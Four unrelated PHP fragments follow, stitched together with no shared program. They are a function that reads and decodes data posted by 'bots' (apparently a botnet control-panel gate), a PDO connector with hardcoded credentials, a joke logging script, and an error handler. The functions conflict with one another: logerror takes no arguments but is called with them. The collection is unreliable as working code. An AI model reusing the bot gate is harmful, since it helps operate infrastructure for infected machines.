function GetServerData() { global $bot_id, $data_type, $raw_data; //if (defined('D_DEBUG')) $str = $_GET['str']; else $str = file_get_contents('php://input'); if (!$str) { if (defined('D_DEBUG')) { logerror("Error: E1"); } else { error404(); } } //if (!defined('D_DEBUG')) $str = RC4($str, $_SERVER['HTTP_HOST']); bdecodestr($str, $bot_id, $data_type, $raw_data); if (defined('D_DEBUG')) { logerror($bot_id . " | " . $data_type . " | " . strlen($raw_data)); } if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) { if (defined('D_DEBUG')) { logerror("Error: E2"); } else { error404(); } } }
/** * @return \PDO */ protected function getPDO() { try { if (self::$pdo == null) { self::$pdo = new \PDO('mysql:host=127.0.0.1;dbname=notificaciones', 'homestead', 'secret'); /* self::$pdo = new \PDO('sqlite:database/responsabilidades.sqlite3',"","",array( \PDO::ATTR_PERSISTENT => true, \PDO::ERRMODE_EXCEPTION =>true, \PDO::ATTR_ERRMODE =>true ));*/ } return self::$pdo; } catch (PDOException $e) { logerror($e->getMessage(), "opendatabase"); print "Error in openhrsedb " . $e->getMessage(); } }
<?php function logMessage($loglevel, $message) { date_default_timezone_set('America/Chicago'); $date = date('Y-m-d'); $handle = fopen("{$date}.log", 'a'); $content = trim(fwrite($handle, date('Y-m-d h:i:s A T') . " " . $loglevel . " " . $message . PHP_EOL)); fclose($handle); return $content . PHP_EOL; } function loginfo() { logMessage("[INFO]", "Get up off'a dat thang!"); } function logerror() { logMessage("[ERROR]", "Err time gon' doit!"); } loginfo(); logerror();
function errorhandler($errno, $errstr) { logerror($errno, $errstr); $content = array("message" => $errstr); exit(0); }